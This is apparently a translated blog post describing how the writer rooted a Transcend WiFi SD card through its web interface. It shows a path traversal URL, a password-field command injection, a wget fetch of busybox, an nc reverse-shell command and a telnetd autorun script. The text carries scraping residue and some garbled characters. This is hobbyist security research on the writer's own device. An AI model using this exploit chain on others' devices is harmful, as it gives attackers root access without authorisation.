我最近搞了张Transcend WiFi SD,颇为得意。它可让我在几秒钟内将单反(奶昔,至关便携)中拍摄的照片传到任何支持wifi的设备上。我很喜欢在旅途中拍摄和分享图片,因此对我而言,能够无线传输图片的SD卡是一个很好的解决方案。确实如此!(之后也是!)。不过移动应用程序能够应该好好改进下(下载7MB的图像仅仅为了渲染?点击下载后还要从新下载一遍!谁能告诉我这是为何?),可是,嘿,它可以完成任务!javascript
这个小小的设备不只能够存储16GB数据(还有32GB版本),并且仍是一个嵌入式系统,可以运行应用程序,包括web服务器,和其余wifi设备通信,甚至自建无线网络——这个明显的事实让我和个人小伙伴都惊呆了!好了,不废话了,进入主题:咱们能不能用这个设备作一些设计以外的事情呢?html
写这篇文章的目的不可是为了指出能够用来root、越狱设备的漏洞,同时也是为了展示摸索、利用漏洞的方法,其中的一些方法可能走不通,但其余的或许会导向万能的根用户。java
我猜这张卡中存在着某种形式的嵌入式Linux系统。若是是这样,扩展它的功能会很容易,可是,首先我须要取得系统的控制权。到如今为止我只使用过和它配套的Android和iOS应用程序,不过很明显,最简单与电脑交互的方式是Web应用程序。下面的想法当即浮如今个人脑海中:程序员
若是移动应用程序很糟糕,那么web应用和服务器确定也好不到哪里去……也许它充满了等待被利用的漏洞。web
孩子,我是对的!正则表达式
一旦你链接到Web服务器(卡片的IP是192.168.11.254,默认登陆admin/admin),你就会感觉到和使用手机app同样糟糕的感受,“用户体验”很糟,“破解体验”应该不错。不少人使用scanners、fuzers之类的强力工具来探索漏洞,然而这个系统的安全性是如此之差,以致于我随意摸索一番,就找到了能够利用的漏洞。chrome
“Files”区域十分显眼,它容许你浏览SD卡的内容。不幸的是,它不容许你进入SD卡根目录的父目录。果然如此?若是能够进入父目录就行了,咱们能够了解系统的内部状况,得到关于它的更多信息。若是咱们足够幸运,甚至能够经过Web界面运行一些指令。你会注意到指向“父目录”的连接的URL是这样的(%2F就是URL编码格式中的斜杠字符“/”):shell
http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
好了,让咱们试着访问/www,http://192.168.11.254/cgi-bin/file _list.pl?dir=%2Fwww
segmentfault
结果证实此路不通。访问/、/bin、/etc、或任何其余目录都失败了。:( 运气不行。不过,话说回来,若是可行的话,那也太容易了!好吧,其实也没那么困难,程序员真是太粗心。导航栏中?dir=/www/sd/../..
同/
是同样的效果,成功了!windows
哈,太尴尬了!貌似程序员只是确保路径使用/WWW/SD起始,但没有验证父目录的“../”。经过这种方式,咱们能够浏览嵌入式系统中的任何文件。固然,点击文件是不会执行它们的,只是下载而已,然而这已是一个巨大的成功了!
浏览文件系统、下载脚本以后,很明显系统使用的是busybox,这在咱们的意料之中。因为大多数二进制文件的大小是相同的,这暗示它们是指向busybox的软连接。然而,许多不是软连接,包括大多数在/WWW/cgi-bin目录下的脚本。这些多是值得注意的,由于只需经过浏览器访问它们就能够运行。
看起来颇有但愿!如今咱们能够访问内部系统,即便只是只读模式,仍然给了咱们很大的便利,由于咱们可以研究和寻找能够利用的漏洞。:)
检查一些脚本,找到能够被利用漏洞,没有花掉多少时间。顺便提一下,这些都是Perl脚本。Perl有一个很好的特性就是使用open()
调用打开一个文件,由于若是open()
的参数不是真正的文件路径,而是以管道符结尾的shell命令的话,例如open("cat/etc/passwd |")
,会执行程序。其余滥用open()
的手段包括在不一样的位置写一个新文件,或者覆盖现有的文件,因此咱们能够编写本身的代码并运行它。让咱们来看看是否有文件能够被利用。
有一个文件特别显眼,由于它包含了一个含有用户提供的变量的open()
调用。kcard_upload.pl包含如下语句:
事实上,Web应用程序并无使用这个文件。kcard_upload.pl
对用户是隐藏的,但它仍然存在,在cgi-bin目录下能够访问。咱们只需用浏览器指向它,就能够运行。这真是双倍的尴尬,一个未被使用的可被利用的脚本!可是它真的能够被利用吗?
经过阅读kcard_upload.pl
的代码,我知道这里存在三个利用变量$basename
控制系统的挑战:
首先,$basename
不能直接被用户使用,由于它是调用GetBasename($upfile)
的结果。用户(即,攻击者)直接使用的是$upfile
。更准确地说,它是你选择上传文件时HTML表单的路径。可是,若是咱们提交了路径,GetBasename将只返回路径末尾的文件名,其他将被移除。这使遍历目录(如以前提到的../../技巧)不可行。
其次,$basename
由脚本转化为大写,因此不管咱们传入什么,都会被转换为大写,这限制了可用的策略。
最后的挑战是kcard_upload.pl
的脚本只容许PNG,JPG,BMP,GIF格式的文件上传。
因此这是一条死胡同吗?还没那么快!
若是你更仔细地查看代码,你会意识到尽管程序员想要限制上传文件的类型,然而他们只是检查文件名是否包含这些扩展名,而不是是否以这些扩展名结束。
此外,这些正则表达式并无真正检查是否包含.
,由于在正则表达式中.
能够表明除了换行符之外的任意字符。.
应该使用\
转义。我猜程序员想要的是/\.GIF$/
,但结果写成了/.GIF/
,因此咱们只需在文件名的任意位置包含三字符组合就能够绕过限制,例如/hi/helPNGlo/asdf.something
。太方便了!
因为咱们的路径会被转化成大写,也许咱们就不能再调用任何系统命令(由于大部分都不是大写),不过也许咱们仍然能够上传新的文件,也许是把咱们本身的脚本植入系统。咱们并不十分关心这些脚本的文件名是大写仍是小写。
最后,若是你还记得,咱们的路径在保存到变量$basename
以前,己经被GetBasename()转化了。GetBasename()
的功能是切分路径,获取最后的文件名。因此/path/to/file.txt
会变成简单的file.txt
。这很糟,由于这意味着咱们不再能操纵路径,不能使用相似“../../bin/our-malicious.script”的技巧,由于它最终会变为“our-malicious.script”,而后保存在DCIM/198_WIFI/。:_(
除非,GetBasename()
包含一个能够被利用的漏洞。:_)
基本上,这些代码考虑了两种状况:用户提供的路径是由windows风格的反斜杠分隔,以及路径由斜杠分隔(除去windows以外的任何OS)。或者说,这是这些代码试图作到的!这些代码真正作的是,检查路径是否包含一个反斜杠,若是包含,那么就断定这是一个windows路径(由于windows路径使用反斜杠做分隔符),而后按照反斜杠分割路径。它并不会真正检查路径是否由斜杠分隔。所以,考虑如下路径:
/this/part/gets/discarded\/this/path/is/used
因为这个路径包含一个反斜杠(这是一个合法的字符),代码会它认定它是一个windows路径,所以咱们最终得到了一个不是真正的基本名的basename
,它其实是一个路径。在咱们的例子中,路径将是:/this/path/is/used.
你看!相似/PNG/something\/../../our-malicious.script
的路径将绕过全部安全措施,以后写入咱们选定的位置 B-) 这是个好消息。坏消息是这些不能真正生效。啊!这是由于脚本错误地假设../DCIM/198_WIFI
存在,但因为脚本从/WWW/cgi-bin运行,因此这个假设不成立(正确的路径应该是../sd/DCIM/198_WIFI)。使人伤心的是咱们对此无能为力。这个bug是硬编码到脚本的。开发人员应该没怎么注意这一点,由于这个脚本并不打算提供给用户使用。(记得吗?它是隐藏的。)据我所知,尽管咱们作了花了很多功夫,这是一条死胡同。:-( 不过也许有人能够拿出一个创新的方案。
(此外,kcard_upload.pl
输出的表单并不调用自身,而是调用一个名为wifi_upload
二进制文件,所以咱们须要本身实现HTTP POST调用。)
不过,注意看!咱们已经发现了代码质量如此糟糕,所以确定还存在不少其余的漏洞(若是你想更有想象力一点,我很确定kcard_upload.pl
调用的/www/cgi-bin/wifi_upload工具,能够经过栈溢出和堆溢出破解,由于代码中有不少混乱的strcpy调用)。事实上,我没有过多地检查这些方面。还有一些我没在这篇里详述的其余死胡同。我下面将详述一个明显的漏洞,很是容易利用:
从perl脚本直接调用shell命令有不少不一样的方法,若是程序员粗枝大叶地使用不妥的方式调用shell命令,那么也许咱们能够运行本身的shell命令!使用perl脚本运行shell代码的一个方法是使用system()
调用。事实上,.pl
和.cgi
文件使用了大量的system()
调用,可是它们的参数都是硬编码的,因此没有太多的空间可供操纵或利用。另一种使用perl调用shell代码的方法是使用qx{}
表达式,可是代码中没有使用过这种方式。然而,第三种方式是使用反引号包围shell代码,至关于使用qX{}
。事实上不少地方都使用了这种方式,并且shell代码中也使用了用户提供的输入!这意味着他们的shell代码混合了咱们的输入,因此可能被用来运行咱们本身的代码。
在kcard_save_config_insup.pl有一行给人的感受就像圣诞节:
该语句运行$update_auth
指定的命令,将$LOGIN_USR
和$LOGIN_PWD
做为参数。这两个参数直接来自一个表单,这意味着咱们能够控制它们的值。没有针对它们内容的检查!更精确地说,这是当你进入Web界面,点击“settings”时显示的一个表单。你能够经过http://192.168.11.254/kcardX120Xedit_config_insup.pl直接访问这个表单。表单询问的是管理员的用户名和密码。这意味着经过选择一个恰当构造的密码,咱们能够执行代码!首先,密码必须包含一个分号,以便在$update_path
命令执行后能够开始执行一个新shell命令。而后它就能够包含任何咱们想要的shell代码。最后,密码必须以#符号(代表后面的内容是注释)结束,这样后面的内容将被忽略(> /mnt/mtd/config/ia.passwd
部分)。
这很容易测试,例如:admin; echo haxx > /tmp/hi.txt #
。
然而表单进行了合理性测试,它不会容许长密码和奇怪的字符。因为这些检查是经过JavaScript来完成的,而不是在服务器端完成的,绕过它们太容易了。我使用Form Editor Chrome扩展来摆脱这些问题。
提交表单后,咱们能够很容易地检查漏洞是否有效,只需利用本文前面提到的漏洞访问/tmp。咱们甚至能够下载文件而后检查其内容是否正确。
记得将你的密码恢复为“admin”,不然利用完此漏洞后你须要经过出厂设置重设你的SD卡(固然重设不会影响到你的图片)。
目前为止,咱们不只可以读取嵌入式系统的文件系统中的任何文件,并且也能够执行shell代码,并写入文件。不过,咱们仍然缺乏合适的shell访问方式。
查看/usr/bin目录中的内容,咱们能够发现,这里有不少可让咱们制造反向shell的好东西:netcat(nc 二进制)、telnet,等等。反向shell是这样工做的,经过咱们PC的一个特定端口监听传入的链接,把目标系统链接到它,运行一个shell,经过该链接获取输入,同时经过该链接打印全部输出。创建反向shell的方法你用上全部的手指、脚趾也数不过来,不过最简单的方法是调用netcat:
nc 192.168.11.11 1337 -e /bin/bash
这会让netcat来链接咱们的电脑(被分配的IP为192.168.11.11)的1337端口,而后将输入传给bash。固然,你必须使用先前所描述的漏洞来运行这个命令,将你的密码改成admin NC 192.168.11.111337 -e /bin/bash #
。不幸的是这根本不起做用。使用telnet或其余工具的技巧也无效。为何无效呢?nc、telnet和其余工具的软连接在/usr/bin目录下,指令的语法是正确的!事实上,咱们亲爱的SD卡内的嵌入式Linux禁用了这些busybox的功能!(咱们能够尝试调用telnet或netcat,将stdout和stderr重定向到/tmp/hi.txt来验证一点,使用如下命令nc 192.168.11.111337 -e /bin/bash &\> /tmp/hi.txt
。下载hi.txt之后,它的内容会是相似以下的内容:nc: applet not found
。这意味着nc被禁用了。真恶心!咱们只能经过那个糟糕的表单运行命令,同时不能使用网络工具吗?固然不是!
碰巧的是,transcend脚本使用到了wget,所以wget是启用的。它容许咱们下载另外一个完整的BusyBox二进制文件 :))) 我懒得本身编译,因此我从http://busybox.net/downloads/binaries/latest/获取了一个预编译的busybox二进制文件。我把busybox-armv5l二进制文件放在我电脑上的本地web服务器上(个人SD卡没有互联网配置),因此我只是运行了wget http://192.168.11.11/busybox-armv5l
,使用表单漏洞将它下载到SD卡的/www/cgi-bin
目录。我也运行了chmod a+x /www/cgi-bin/busybox-armv5l
确保它随后能够运行。
最后,我获得了个人远程shell!运行nc -vv -l 1337
个人电脑会监听1337端口,运行/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash
,SD卡在该端口上启用shell。因为下载的busybox二进制文件启用了全部工具,咱们能够经过远程shell运行/www/cgi-bin/busybox-armv5l <命令>
得到更丰富的shell命令!例如,/www/cgi-bin/busybox-armv5l id
告诉咱们,咱们已经已经以root身份在运行shell。
uid=0 gid=0
假如你忘记您的密码,须要重设,你可使用SD卡的恢复出厂设置功能(SD卡中有一个特殊的图片文件,一旦删除,从新启动后就会复位SD卡)。不过,你能够恢复你的明文密码,源于一个很是很是很是粗心的错误。这有一个“隐藏”的perl脚本,kcard_login.pl,负责最狂野的登陆过程。它从wsd.conf文件获取密码,而后提供浏览器验证密码的javascrip代码。是的,你没看错。使用javascript进行验证!
这意味着你只需将浏览器指向http://192.168.11.254/cgi-bin/kcardX156Xlogin.pl,而后查看页面的源代码就能够以明文方式恢复你的密码。密码就在那儿。
启动时自动运行的脚本中,rcS会执行SD卡根目录下的autorun.sh。这将简化开发和破解,创见啊创见!。
在个人SD卡的根目录下,我有如下脚本(命名为autorun.sh),此外还放了busybox-armv5l,这样我就能够简单地telnet到系统:
cp /mnt/sd/busybox-armv5l /sbin/busybox chmod a+x /sbin/busybox /sbin/busybox telnetd -l /bin/bash &
因而,该卡通电后你就能够登陆,完成启动:
尽享hacking之乐!:)